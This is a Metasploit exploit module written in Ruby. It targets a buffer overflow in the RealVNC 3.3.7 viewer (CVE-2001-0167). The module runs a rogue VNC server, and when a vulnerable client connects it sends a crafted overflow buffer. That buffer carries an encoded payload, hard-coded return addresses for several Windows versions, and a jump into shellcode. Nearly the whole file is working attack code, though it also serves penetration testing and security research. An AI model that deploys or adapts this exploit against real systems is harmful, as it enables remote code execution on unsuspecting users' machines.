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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'RealVNC 3.3.7 Client Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2001-0167' ],
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          [ 'OSVDB', '6281' ],
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          [ 'BID', '2305' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 500,
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          'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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          'MaxNops'  => 0,
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 SP4 English',	{ 'Ret' => 0x7c2ec68b } ],
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          [ 'Windows XP SP2 English',	{ 'Ret' => 0x77dc15c0 } ],
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          [ 'Windows 2003 SP1 English',	{ 'Ret' => 0x76aa679b } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2001-01-29',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
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      ])
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  end
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  def on_client_connect(client)
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    rfb = "RFB 003.003\n"
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    client.put(rfb)
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  end
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  def on_client_data(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    filler = make_nops(993 - payload.encoded.length)
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    sploit =  "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded
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    sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')
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    sploit << rand_text_english(200)
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    print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
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    client.put(sploit)
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    handler
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    service.close_client(client)
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  end
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end
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